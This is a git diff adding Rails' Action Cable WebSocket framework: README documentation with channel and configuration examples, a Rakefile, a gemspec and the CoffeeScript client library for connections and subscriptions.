+class AppearanceChannel < ApplicationCable::Channel
+  def subscribed
+    current_user.appear
+  end
+
+  def unsubscribed
+    current_user.disappear
+  end
+
+  def appear(data)
+    current_user.appear on: data['appearing_on']
+  end
+
+  def away
+    current_user.away
+  end
+end
+```
+
+The `#subscribed` callback is invoked when, as we'll show below, a client-side subscription is initiated. In this case,
+we take that opportunity to say "the current user has indeed appeared". That appear/disappear API could be backed by
+Redis or a database or whatever else. Here's what the client-side of that looks like:
+
+```coffeescript
+# app/assets/javascripts/cable/subscriptions/appearance.coffee
+App.cable.subscriptions.create "AppearanceChannel",
+  # Called when the subscription is ready for use on the server
+  connected: ->
+    @install()
+    @appear()
+
+  # Called when the WebSocket connection is closed
+  disconnected: ->
+    @uninstall()
+
+  # Called when the subscription is rejected by the server
+  rejected: ->
+    @uninstall()
+
+  appear: ->
+    # Calls `AppearanceChannel#appear(data)` on the server
+    @perform("appear", appearing_on: $("main").data("appearing-on"))
+
+  away: ->
+    # Calls `AppearanceChannel#away` on the server
+    @perform("away")
+
+
+  buttonSelector = "[data-behavior~=appear_away]"
+
+  install: ->
+    $(document).on "turbolinks:load.appearance", =>
+      @appear()
+
+    $(document).on "click.appearance", buttonSelector, =>
+      @away()
+      false
+
+    $(buttonSelector).show()
+
+  uninstall: ->
+    $(document).off(".appearance")
+    $(buttonSelector).hide()
+```
+
+Simply calling `App.cable.subscriptions.create` will setup the subscription, which will call `AppearanceChannel#subscribed`,
+which in turn is linked to the original `App.cable` -> `ApplicationCable::Connection` instances.
+
+Next, we link the client-side `appear` method to `AppearanceChannel#appear(data)`. This is possible because the server-side
+channel instance will automatically expose the public methods declared on the class (minus the callbacks), so that these
+can be reached as remote procedure calls via a subscription's `perform` method.
+
+### Channel example 2: Receiving new web notifications
+
+The appearance example was all about exposing server functionality to client-side invocation over the WebSocket connection.
+But the great thing about WebSockets is that it's a two-way street. So now let's show an example where the server invokes
+an action on the client.
+
+This is a web notification channel that allows you to trigger client-side web notifications when you broadcast to the right
+streams:
+
+```ruby
+# app/channels/web_notifications_channel.rb
+class WebNotificationsChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "web_notifications_#{current_user.id}"
+  end
+end
+```
+
+```coffeescript
+# Client-side, which assumes you've already requested the right to send web notifications
+App.cable.subscriptions.create "WebNotificationsChannel",
+  received: (data) ->
+    new Notification data["title"], body: data["body"]
+```
+
+```ruby
+# Somewhere in your app this is called, perhaps from a NewCommentJob
+ActionCable.server.broadcast \
+  "web_notifications_#{current_user.id}", { title: 'New things!', body: 'All the news that is fit to print' }
+```
+
+The `ActionCable.server.broadcast` call places a message in the Action Cable pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be `web_notifications_1`.
+The channel has been instructed to stream everything that arrives at `web_notifications_1` directly to the client by invoking the
+`#received(data)` callback. The data is the hash sent as the second parameter to the server-side broadcast call, JSON encoded for the trip
+across the wire, and unpacked for the data argument arriving to `#received`.
+
+
+### Passing Parameters to Channel
+
+You can pass parameters from the client side to the server side when creating a subscription. For example:
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+end
+```
+
+If you pass an object as the first argument to `subscriptions.create`, that object will become the params hash in your cable channel. The keyword `channel` is required.
+
+```coffeescript
+# Client-side, which assumes you've already requested the right to send web notifications
+App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    @appendLine(data)
+
+  appendLine: (data) ->
+    html = @createLine(data)
+    $("[data-chat-room='Best Room']").append(html)
+
+  createLine: (data) ->
+    """
+    <article class="chat-line">
+      <span class="speaker">#{data["sent_by"]}</span>
+      <span class="body">#{data["body"]}</span>
+    </article>
+    """
+```
+
+```ruby
+# Somewhere in your app this is called, perhaps from a NewCommentJob
+ActionCable.server.broadcast \
+  "chat_#{room}", { sent_by: 'Paul', body: 'This is a cool chat app.' }
+```
+
+
+### Rebroadcasting message
+
+A common use case is to rebroadcast a message sent by one client to any other connected clients.
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    stream_from "chat_#{params[:room]}"
+  end
+
+  def receive(data)
+    ActionCable.server.broadcast "chat_#{params[:room]}", data
+  end
+end
+```
+
+```coffeescript
+# Client-side, which assumes you've already requested the right to send web notifications
+App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
+  received: (data) ->
+    # data => { sent_by: "Paul", body: "This is a cool chat app." }
+
+App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
+```
+
+The rebroadcast will be received by all connected clients, _including_ the client that sent the message. Note that params are the same as they were when you subscribed to the channel.
+
+
+### More complete examples
+
+See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples) repository for a full example of how to setup Action Cable in a Rails app, and how to add channels.
+
+## Configuration
+
+Action Cable has three required configurations: a subscription adapter, allowed request origins, and the cable server URL (which can optionally be set on the client side).
+
+### Redis
+
+By default, `ActionCable::Server::Base` will look for a configuration file in `Rails.root.join('config/cable.yml')`.
+This file must specify an adapter and a URL for each Rails environment. It may use the following format:
+
+```yaml
+production: &production
+  adapter: redis
+  url: redis://10.10.3.153:6381
+development: &development
+  adapter: redis
+  url: redis://localhost:6379
+test: *development
+```
+
+You can also change the location of the Action Cable config file in a Rails initializer with something like:
+
+```ruby
+Rails.application.paths.add "config/cable", with: "somewhere/else/cable.yml"
+```
+
+### Allowed Request Origins
+
+Action Cable will only accept requests from specific origins.
+
+By default, only an origin matching the cable server itself will be permitted.
+Additional origins can be specified using strings or regular expressions, provided in an array.
+
+```ruby
+Rails.application.config.action_cable.allowed_request_origins = ['http://rubyonrails.com', /http:\/\/ruby.*/]
+```
+
+When running in the development environment, this defaults to "http://localhost:3000".
+
+To disable protection and allow requests from any origin:
+
+```ruby
+Rails.application.config.action_cable.disable_request_forgery_protection = true
+```
+
+To disable automatic access for same-origin requests, and strictly allow
+only the configured origins:
+
+```ruby
+Rails.application.config.action_cable.allow_same_origin_as_host = false
+```
+
+### Consumer Configuration
+
+Once you have decided how to run your cable server (see below), you must provide the server URL (or path) to your client-side setup.
+There are two ways you can do this.
+
+The first is to simply pass it in when creating your consumer. For a standalone server,
+this would be something like: `App.cable = ActionCable.createConsumer("ws://example.com:28080")`, and for an in-app server,
+something like: `App.cable = ActionCable.createConsumer("/cable")`.
+
+The second option is to pass the server URL through the `action_cable_meta_tag` in your layout.
+This uses a URL or path typically set via `config.action_cable.url` in the environment configuration files, or defaults to "/cable".
+
+This method is especially useful if your WebSocket URL might change between environments. If you host your production server via https, you will need to use the wss scheme
+for your Action Cable server, but development might remain http and use the ws scheme. You might use localhost in development and your
+domain in production.
+
+In any case, to vary the WebSocket URL between environments, add the following configuration to each environment:
+
+```ruby
+config.action_cable.url = "ws://example.com:28080"
+```
+
+Then add the following line to your layout before your JavaScript tag:
+
+```erb
+<%= action_cable_meta_tag %>
+```
+
+And finally, create your consumer like so:
+
+```coffeescript
+App.cable = ActionCable.createConsumer()
+```
+
+### Other Configurations
+
+The other common option to configure is the log tags applied to the per-connection logger. Here's an example that uses the user account id if available, else "no-account" while tagging:
+
+```ruby
+config.action_cable.log_tags = [
+  -> request { request.env['user_account_id'] || "no-account" },
+  :action_cable,
+  -> request { request.uuid }
+]
+```
+
+For a full list of all configuration options, see the `ActionCable::Server::Configuration` class.
+
+Also note that your server must provide at least the same number of database connections as you have workers. The default worker pool is set to 4, so that means you have to make at least that available. You can change that in `config/database.yml` through the `pool` attribute.
+
+
+## Running the cable server
+
+### Standalone
+The cable server(s) is separated from your normal application server. It's still a Rack application, but it is its own Rack
+application. The recommended basic setup is as follows:
+
+```ruby
+# cable/config.ru
+require_relative '../config/environment'
+Rails.application.eager_load!
+
+run ActionCable.server
+```
+
+Then you start the server using a binstub in bin/cable ala:
+```sh
+#!/bin/bash
+bundle exec puma -p 28080 cable/config.ru
+```
+
+The above will start a cable server on port 28080.
+
+### In app
+
+If you are using a server that supports the [Rack socket hijacking API](http://www.rubydoc.info/github/rack/rack/file/SPEC#Hijacking), Action Cable can run alongside your Rails application. For example, to listen for WebSocket requests on `/websocket`, specify that path to `config.action_cable.mount_path`:
+
+```ruby
+# config/application.rb
+class Application < Rails::Application
+  config.action_cable.mount_path = '/websocket'
+end
+```
+
+For every instance of your server you create and for every worker your server spawns, you will also have a new instance of Action Cable, but the use of Redis keeps messages synced across connections.
+
+### Notes
+
+Beware that currently, the cable server will _not_ auto-reload any changes in the framework. As we've discussed, long-running cable connections mean long-running objects. We don't yet have a way of reloading the classes of those objects in a safe manner. So when you change your channels, or the model your channels use, you must restart the cable server.
+
+We'll get all this abstracted properly when the framework is integrated into Rails.
+
+The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this [article](http://www.rubytutorial.io/actioncable-devise-authentication).
+
+## Dependencies
+
+Action Cable provides a subscription adapter interface to process its pubsub internals. By default, asynchronous, inline, PostgreSQL, evented Redis, and non-evented Redis adapters are included. The default adapter in new Rails applications is the asynchronous (`async`) adapter. To create your own adapter, you can look at `ActionCable::SubscriptionAdapter::Base` for all methods that must be implemented, and any of the adapters included within Action Cable as example implementations.
+
+The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby), [nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby).
+
+
+## Deployment
+
+Action Cable is powered by a combination of WebSockets and threads. All of the
+connection management is handled internally by utilizing Ruby’s native thread
+support, which means you can use all your regular Rails models with no problems
+as long as you haven’t committed any thread-safety sins.
+
+The Action Cable server does _not_ need to be a multi-threaded application server.
+This is because Action Cable uses the [Rack socket hijacking API](http://www.rubydoc.info/github/rack/rack/file/SPEC#Hijacking)
+to take over control of connections from the application server. Action Cable
+then manages connections internally, in a multithreaded manner, regardless of
+whether the application server is multi-threaded or not. So Action Cable works
+with all the popular application servers -- Unicorn, Puma and Passenger.
+
+Action Cable does not work with WEBrick, because WEBrick does not support the
+Rack socket hijacking API.
+
+## Frontend assets
+
+Action Cable's frontend assets are distributed through two channels: the
+official gem and npm package, both titled `actioncable`.
+
+### Gem usage
+
+Through the `actioncable` gem, Action Cable's frontend assets are
+available through the Rails Asset Pipeline. Create a `cable.js` or
+`cable.coffee` file (this is automatically done for you with Rails
+generators), and then simply require the assets:
+
+In JavaScript...
+
+```javascript
+//= require action_cable
+```
+
+... and in CoffeeScript:
+
+```coffeescript
+#= require action_cable
+```
+
+### npm usage
+
+In addition to being available through the `actioncable` gem, Action Cable's
+frontend JS assets are also bundled in an officially supported npm module,
+intended for usage in standalone frontend applications that communicate with a
+Rails application. A common use case for this could be if you have a decoupled
+frontend application written in React, Ember.js, etc. and want to add real-time
+WebSocket functionality.
+
+### Installation
+
+```
+npm install actioncable --save
+```
+
+### Usage
+
+The `ActionCable` constant is available as a `require`-able module, so
+you only have to require the package to gain access to the API that is
+provided.
+
+In JavaScript...
+
+```javascript
+ActionCable = require('actioncable')
+
+var cable = ActionCable.createConsumer('wss://RAILS-API-PATH.com/cable')
+
+cable.subscriptions.create('AppearanceChannel', {
+  // normal channel code goes here...
+});
+```
+
+and in CoffeeScript...
+
+```coffeescript
+ActionCable = require('actioncable')
+
+cable = ActionCable.createConsumer('wss://RAILS-API-PATH.com/cable')
+
+cable.subscriptions.create 'AppearanceChannel',
+    # normal channel code goes here...
+```
+
+## Download and Installation
+
+The latest version of Action Cable can be installed with [RubyGems](#gem-usage),
+or with [npm](#npm-usage).
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actioncable
+
+## License
+
+Action Cable is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+## Support
+
+API documentation is at:
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/actioncable/Rakefile b/actioncable/Rakefile
new file mode 100644
index 0000000000..226d171104
--- /dev/null
+++ b/actioncable/Rakefile
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+require "pathname"
+require "open3"
+require "action_cable"
+
+task default: :test
+
+task package: %w( assets:compile assets:verify )
+
+Rake::TestTask.new do |t|
+  t.libs << "test"
+  t.test_files = Dir.glob("#{__dir__}/test/**/*_test.rb")
+  t.warning = true
+  t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+end
+
+namespace :test do
+  task :isolated do
+    Dir.glob("test/**/*_test.rb").all? do |file|
+      sh(Gem.ruby, "-w", "-Ilib:test", file)
+    end || raise("Failures")
+  end
+
+  task :integration do
+    require "blade"
+    if ENV["CI"]
+      Blade.start(interface: :ci)
+    else
+      Blade.start(interface: :runner)
+    end
+  end
+end
+
+namespace :assets do
+  desc "Compile Action Cable assets"
+  task :compile do
+    require "blade"
+    require "sprockets"
+    require "sprockets/export"
+    Blade.build
+  end
+
+  desc "Verify compiled Action Cable assets"
+  task :verify do
+    file = "lib/assets/compiled/action_cable.js"
+    pathname = Pathname.new("#{__dir__}/#{file}")
+
+    print "[verify] #{file} exists "
+    if pathname.exist?
+      puts "[OK]"
+    else
+      $stderr.puts "[FAIL]"
+      fail
+    end
+
+    print "[verify] #{file} is a UMD module "
+    if pathname.read =~ /module\.exports.*define\.amd/m
+      puts "[OK]"
+    else
+      $stderr.puts "[FAIL]"
+      fail
+    end
+
+    print "[verify] #{__dir__} can be required as a module "
+    _, stderr, status = Open3.capture3("node", "--print", "window = {}; require('#{__dir__}');")
+    if status.success?
+      puts "[OK]"
+    else
+      $stderr.puts "[FAIL]\n#{stderr}"
+      fail
+    end
+  end
+end
diff --git a/actioncable/actioncable.gemspec b/actioncable/actioncable.gemspec
new file mode 100644
index 0000000000..b5b98f1a6b
--- /dev/null
+++ b/actioncable/actioncable.gemspec
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "actioncable"
+  s.version     = version
+  s.summary     = "WebSocket framework for Rails."
+  s.description = "Structure many real-time application concerns into channels over a single WebSocket connection."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = ["Pratik Naik", "David Heinemeier Hansson"]
+  s.email    = ["pratiknaik@gmail.com", "david@loudthinking.com"]
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*"]
+  s.require_path = "lib"
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/actioncable",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/actioncable/CHANGELOG.md"
+  }
+
+  s.add_dependency "actionpack", version
+
+  s.add_dependency "nio4r",            "~> 2.0"
+  s.add_dependency "websocket-driver", "~> 0.6.1"
+end
diff --git a/actioncable/app/assets/javascripts/action_cable.coffee.erb b/actioncable/app/assets/javascripts/action_cable.coffee.erb
new file mode 100644
index 0000000000..e0758dae72
--- /dev/null
+++ b/actioncable/app/assets/javascripts/action_cable.coffee.erb
@@ -0,0 +1,38 @@
+#= export ActionCable
+#= require_self
+#= require ./action_cable/consumer
+
+@ActionCable =
+  INTERNAL: <%= ActionCable::INTERNAL.to_json %>
+  WebSocket: window.WebSocket
+  logger: window.console
+
+  createConsumer: (url) ->
+    url ?= @getConfig("url") ? @INTERNAL.default_mount_path
+    new ActionCable.Consumer @createWebSocketURL(url)
+
+  getConfig: (name) ->
+    element = document.head.querySelector("meta[name='action-cable-#{name}']")
+    element?.getAttribute("content")
+
+  createWebSocketURL: (url) ->
+    if url and not /^wss?:/i.test(url)
+      a = document.createElement("a")
+      a.href = url
+      # Fix populating Location properties in IE. Otherwise, protocol will be blank.
+      a.href = a.href
+      a.protocol = a.protocol.replace("http", "ws")
+      a.href
+    else
+      url
+
+  startDebugging: ->
+    @debugging = true
+
+  stopDebugging: ->
+    @debugging = null
+
+  log: (messages...) ->
+    if @debugging
+      messages.push(Date.now())
+      @logger.log("[ActionCable]", messages...)
diff --git a/actioncable/app/assets/javascripts/action_cable/connection.coffee b/actioncable/app/assets/javascripts/action_cable/connection.coffee
new file mode 100644
index 0000000000..7fd68cad2f
--- /dev/null
+++ b/actioncable/app/assets/javascripts/action_cable/connection.coffee
@@ -0,0 +1,116 @@
+#= require ./connection_monitor
+
+# Encapsulate the cable connection held by the consumer. This is an internal class not intended for direct user manipulation.
+
+{message_types, protocols} = ActionCable.INTERNAL
+[supportedProtocols..., unsupportedProtocol] = protocols
+
+class ActionCable.Connection
+  @reopenDelay: 500
+
+  constructor: (@consumer) ->
+    {@subscriptions} = @consumer
+    @monitor = new ActionCable.ConnectionMonitor this
+    @disconnected = true
+
+  send: (data) ->
+    if @isOpen()
+      @webSocket.send(JSON.stringify(data))
+      true
+    else
+      false
+
+  open: =>
+    if @isActive()
+      ActionCable.log("Attempted to open WebSocket, but existing socket is #{@getState()}")
+      false
+    else
+      ActionCable.log("Opening WebSocket, current state is #{@getState()}, subprotocols: #{protocols}")
+      @uninstallEventHandlers() if @webSocket?
+      @webSocket = new ActionCable.WebSocket(@consumer.url, protocols)
+      @installEventHandlers()
+      @monitor.start()
+      true
+
+  close: ({allowReconnect} = {allowReconnect: true}) ->
+    @monitor.stop() unless allowReconnect
+    @webSocket?.close() if @isActive()
+
+  reopen: ->
+    ActionCable.log("Reopening WebSocket, current state is #{@getState()}")
+    if @isActive()
+      try
+        @close()
+      catch error
+        ActionCable.log("Failed to reopen WebSocket", error)
+      finally
+        ActionCable.log("Reopening WebSocket in #{@constructor.reopenDelay}ms")
+        setTimeout(@open, @constructor.reopenDelay)
+    else
+      @open()
+
+  getProtocol: ->
+    @webSocket?.protocol
+
+  isOpen: ->
+    @isState("open")
+
+  isActive: ->
+    @isState("open", "connecting")
+
+  # Private
+
+  isProtocolSupported: ->
+    @getProtocol() in supportedProtocols
+
+  isState: (states...) ->
+    @getState() in states
+
+  getState: ->
+    return state.toLowerCase() for state, value of WebSocket when value is @webSocket?.readyState
+    null
+
+  installEventHandlers: ->
+    for eventName of @events
+      handler = @events[eventName].bind(this)
+      @webSocket["on#{eventName}"] = handler
+    return
+
+  uninstallEventHandlers: ->
+    for eventName of @events
+      @webSocket["on#{eventName}"] = ->
+    return
+
+  events:
+    message: (event) ->
+      return unless @isProtocolSupported()
+      {identifier, message, type} = JSON.parse(event.data)
+      switch type
+        when message_types.welcome
+          @monitor.recordConnect()
+          @subscriptions.reload()
+        when message_types.ping
+          @monitor.recordPing()
+        when message_types.confirmation
+          @subscriptions.notify(identifier, "connected")
+        when message_types.rejection
+          @subscriptions.reject(identifier)
+        else
+          @subscriptions.notify(identifier, "received", message)
+
+    open: ->
+      ActionCable.log("WebSocket onopen event, using '#{@getProtocol()}' subprotocol")
+      @disconnected = false
+      if not @isProtocolSupported()
+        ActionCable.log("Protocol is unsupported. Stopping monitor and disconnecting.")
+        @close(allowReconnect: false)
+
+    close: (event) ->
+      ActionCable.log("WebSocket onclose event")
+      return if @disconnected
+      @disconnected = true
+      @monitor.recordDisconnect()
+      @subscriptions.notifyAll("disconnected", {willAttemptReconnect: @monitor.isRunning()})
+
+    error: ->
+      ActionCable.log("WebSocket onerror event")
diff --git a/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee b/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee
new file mode 100644
index 0000000000..0cc675fa94
--- /dev/null
+++ b/actioncable/app/assets/javascripts/action_cable/connection_monitor.coffee
@@ -0,0 +1,95 @@
+# Responsible for ensuring the cable connection is in good health by validating the heartbeat pings sent from the server, and attempting
+# revival reconnections if things go astray. Internal class, not intended for direct user manipulation.
+class ActionCable.ConnectionMonitor
+  @pollInterval:
+    min: 3
+    max: 30
+
+  @staleThreshold: 6 # Server::Connections::BEAT_INTERVAL * 2 (missed two pings)
+
+  constructor: (@connection) ->
+    @reconnectAttempts = 0
+
+  start: ->
+    unless @isRunning()
+      @startedAt = now()
+      delete @stoppedAt
+      @startPolling()
+      document.addEventListener("visibilitychange", @visibilityDidChange)
+      ActionCable.log("ConnectionMonitor started. pollInterval = #{@getPollInterval()} ms")
+
+  stop: ->
+    if @isRunning()
+      @stoppedAt = now()
+      @stopPolling()
+      document.removeEventListener("visibilitychange", @visibilityDidChange)
+      ActionCable.log("ConnectionMonitor stopped")
+
+  isRunning: ->
+    @startedAt? and not @stoppedAt?
+
+  recordPing: ->
+    @pingedAt = now()
+
+  recordConnect: ->
+    @reconnectAttempts = 0
+    @recordPing()
+    delete @disconnectedAt
+    ActionCable.log("ConnectionMonitor recorded connect")
+
+  recordDisconnect: ->
+    @disconnectedAt = now()
+    ActionCable.log("ConnectionMonitor recorded disconnect")
+
+  # Private
+
+  startPolling: ->
+    @stopPolling()
+    @poll()
+
+  stopPolling: ->
+    clearTimeout(@pollTimeout)
+
+  poll: ->
+    @pollTimeout = setTimeout =>
+      @reconnectIfStale()
+      @poll()
+    , @getPollInterval()
+
+  getPollInterval: ->
+    {min, max} = @constructor.pollInterval
+    interval = 5 * Math.log(@reconnectAttempts + 1)
+    Math.round(clamp(interval, min, max) * 1000)
+
+  reconnectIfStale: ->
+    if @connectionIsStale()
+      ActionCable.log("ConnectionMonitor detected stale connection. reconnectAttempts = #{@reconnectAttempts}, pollInterval = #{@getPollInterval()} ms, time disconnected = #{secondsSince(@disconnectedAt)} s, stale threshold = #{@constructor.staleThreshold} s")
+      @reconnectAttempts++
+      if @disconnectedRecently()
+        ActionCable.log("ConnectionMonitor skipping reopening recent disconnect")
+      else
+        ActionCable.log("ConnectionMonitor reopening")
+        @connection.reopen()
+
+  connectionIsStale: ->
+    secondsSince(@pingedAt ? @startedAt) > @constructor.staleThreshold
+
+  disconnectedRecently: ->
+    @disconnectedAt and secondsSince(@disconnectedAt) < @constructor.staleThreshold
+
+  visibilityDidChange: =>
+    if document.visibilityState is "visible"
+      setTimeout =>
+        if @connectionIsStale() or not @connection.isOpen()
+          ActionCable.log("ConnectionMonitor reopening stale connection on visibilitychange. visbilityState = #{document.visibilityState}")
+          @connection.reopen()
+      , 200
+
+  now = ->
+    new Date().getTime()
+
+  secondsSince = (time) ->
+    (now() - time) / 1000
+
+  clamp = (number, min, max) ->
+    Math.max(min, Math.min(max, number))
diff --git a/actioncable/app/assets/javascripts/action_cable/consumer.coffee b/actioncable/app/assets/javascripts/action_cable/consumer.coffee
new file mode 100644
index 0000000000..3298be717f
--- /dev/null
+++ b/actioncable/app/assets/javascripts/action_cable/consumer.coffee
@@ -0,0 +1,46 @@
+#= require ./connection
+#= require ./subscriptions
+#= require ./subscription
+
+# The ActionCable.Consumer establishes the connection to a server-side Ruby Connection object. Once established,
+# the ActionCable.ConnectionMonitor will ensure that its properly maintained through heartbeats and checking for stale updates.
+# The Consumer instance is also the gateway to establishing subscriptions to desired channels through the #createSubscription
+# method.
+#
+# The following example shows how this can be setup:
+#
+#   @App = {}
+#   App.cable = ActionCable.createConsumer "ws://example.com/accounts/1"
+#   App.appearance = App.cable.subscriptions.create "AppearanceChannel"
+#
+# For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription.
+#
+# When a consumer is created, it automatically connects with the server.
+#
+# To disconnect from the server, call
+#
+#   App.cable.disconnect()
+#
+# and to restart the connection:
+#
+#   App.cable.connect()
+#
+# Any channel subscriptions which existed prior to disconnecting will
+# automatically resubscribe.
+class ActionCable.Consumer
+  constructor: (@url) ->
+    @subscriptions = new ActionCable.Subscriptions this
+    @connection = new ActionCable.Connection this
+
+  send: (data) ->
+    @connection.send(data)
+
+  connect: ->
+    @connection.open()
+
+  disconnect: ->
+    @connection.close(allowReconnect: false)
+
+  ensureActiveConnection: ->
+    unless @connection.isActive()
+      @connection.open()
diff --git a/actioncable/app/assets/javascripts/action_cable/subscription.coffee b/actioncable/app/assets/javascripts/action_cable/subscription.coffee
new file mode 100644
index 0000000000..8e0805a174
--- /dev/null
+++ b/actioncable/app/assets/javascripts/action_cable/subscription.coffee
@@ -0,0 +1,72 @@
+# A new subscription is created through the ActionCable.Subscriptions instance available on the consumer.
+# It provides a number of callbacks and a method for calling remote procedure calls on the corresponding
+# Channel instance on the server side.
+#
+# An example demonstrates the basic functionality:
+#
+#   App.appearance = App.cable.subscriptions.create "AppearanceChannel",
+#     connected: ->
+#       # Called once the subscription has been successfully completed
+#
+#     disconnected: ({ willAttemptReconnect: boolean }) ->
+#       # Called when the client has disconnected with the server.
+#       # The object will have an `willAttemptReconnect` property which
+#       # says whether the client has the intention of attempting
+#       # to reconnect.
+#
+#     appear: ->
+#       @perform 'appear', appearing_on: @appearingOn()
+#
+#     away: ->
+#       @perform 'away'
+#
+#     appearingOn: ->
+#       $('main').data 'appearing-on'
+#
+# The methods #appear and #away forward their intent to the remote AppearanceChannel instance on the server
+# by calling the `@perform` method with the first parameter being the action (which maps to AppearanceChannel#appear/away).
+# The second parameter is a hash that'll get JSON encoded and made available on the server in the data parameter.
+#
+# This is how the server component would look:
+#
+#   class AppearanceChannel < ApplicationActionCable::Channel
+#     def subscribed
+#       current_user.appear
+#     end
+#
+#     def unsubscribed
+#       current_user.disappear
+#     end
+#
+#     def appear(data)
+#       current_user.appear on: data['appearing_on']
+#     end
+#
+#     def away
+#       current_user.away
+#     end
+#   end
+#
+# The "AppearanceChannel" name is automatically mapped between the client-side subscription creation and the server-side Ruby class name.
+# The AppearanceChannel#appear/away public methods are exposed automatically to client-side invocation through the @perform method.
+class ActionCable.Subscription
+  constructor: (@consumer, params = {}, mixin) ->
+    @identifier = JSON.stringify(params)
+    extend(this, mixin)
+
+  # Perform a channel action with the optional data passed as an attribute
+  perform: (action, data = {}) ->
+    data.action = action
+    @send(data)
+
+  send: (data) ->
+    @consumer.send(command: "message", identifier: @identifier, data: JSON.stringify(data))
+
+  unsubscribe: ->
+    @consumer.subscriptions.remove(this)
+
+  extend = (object, properties) ->
+    if properties?
+      for key, value of properties
+        object[key] = value
+    object
diff --git a/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee b/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee
new file mode 100644
index 0000000000..aa052bf5d8
--- /dev/null
+++ b/actioncable/app/assets/javascripts/action_cable/subscriptions.coffee
@@ -0,0 +1,66 @@
+# Collection class for creating (and internally managing) channel subscriptions. The only method intended to be triggered by the user
+# us ActionCable.Subscriptions#create, and it should be called through the consumer like so:
+#
+#   @App = {}
+#   App.cable = ActionCable.createConsumer "ws://example.com/accounts/1"
+#   App.appearance = App.cable.subscriptions.create "AppearanceChannel"
+#
+# For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription.
+class ActionCable.Subscriptions
+  constructor: (@consumer) ->
+    @subscriptions = []
+
+  create: (channelName, mixin) ->
+    channel = channelName
+    params = if typeof channel is "object" then channel else {channel}
+    subscription = new ActionCable.Subscription @consumer, params, mixin
+    @add(subscription)
+
+  # Private
+
+  add: (subscription) ->
+    @subscriptions.push(subscription)
+    @consumer.ensureActiveConnection()
+    @notify(subscription, "initialized")
+    @sendCommand(subscription, "subscribe")
+    subscription
+
+  remove: (subscription) ->
+    @forget(subscription)
+    unless @findAll(subscription.identifier).length
+      @sendCommand(subscription, "unsubscribe")
+    subscription
+
+  reject: (identifier) ->
+    for subscription in @findAll(identifier)
+      @forget(subscription)
+      @notify(subscription, "rejected")
+      subscription
+
+  forget: (subscription) ->
+    @subscriptions = (s for s in @subscriptions when s isnt subscription)
+    subscription
+
+  findAll: (identifier) ->
+    s for s in @subscriptions when s.identifier is identifier
+
+  reload: ->
+    for subscription in @subscriptions
+      @sendCommand(subscription, "subscribe")
+
+  notifyAll: (callbackName, args...) ->
+    for subscription in @subscriptions
+      @notify(subscription, callbackName, args...)
+
+  notify: (subscription, callbackName, args...) ->
+    if typeof subscription is "string"
+      subscriptions = @findAll(subscription)
+    else
+      subscriptions = [subscription]
+
+    for subscription in subscriptions
+      subscription[callbackName]?(args...)
+
+  sendCommand: (subscription, command) ->
+    {identifier} = subscription
+    @consumer.send({command, identifier})
diff --git a/actioncable/bin/test b/actioncable/bin/test
new file mode 100755
index 0000000000..c53377cc97
--- /dev/null
+++ b/actioncable/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/actioncable/blade.yml b/actioncable/blade.yml
new file mode 100644
index 0000000000..e38e9b2f1d
--- /dev/null
+++ b/actioncable/blade.yml
@@ -0,0 +1,34 @@
+load_paths:
+  - app/assets/javascripts
+  - test/javascript/src
+  - test/javascript/vendor
+
+logical_paths:
+  - test.js
+
+build:
+  logical_paths:
+    - action_cable.js
+  path: lib/assets/compiled
+  clean: true
+
+plugins:
+  sauce_labs:
+    browsers:
+      Google Chrome:
+        os: Mac, Windows
+        version: -1
+      Firefox:
+        os: Mac, Windows
+        version: -1
+      Safari:
+        platform: Mac
+        version: -1
+      Microsoft Edge:
+        version: -1
+      Internet Explorer:
+        version: 11
+      iPhone:
+        version: -1
+      Motorola Droid 4 Emulator:
+        version: -1
diff --git a/actioncable/lib/action_cable.rb b/actioncable/lib/action_cable.rb
new file mode 100644
index 0000000000..bd828b2d0f
--- /dev/null
+++ b/actioncable/lib/action_cable.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2015-2017 Basecamp, LLC
+#
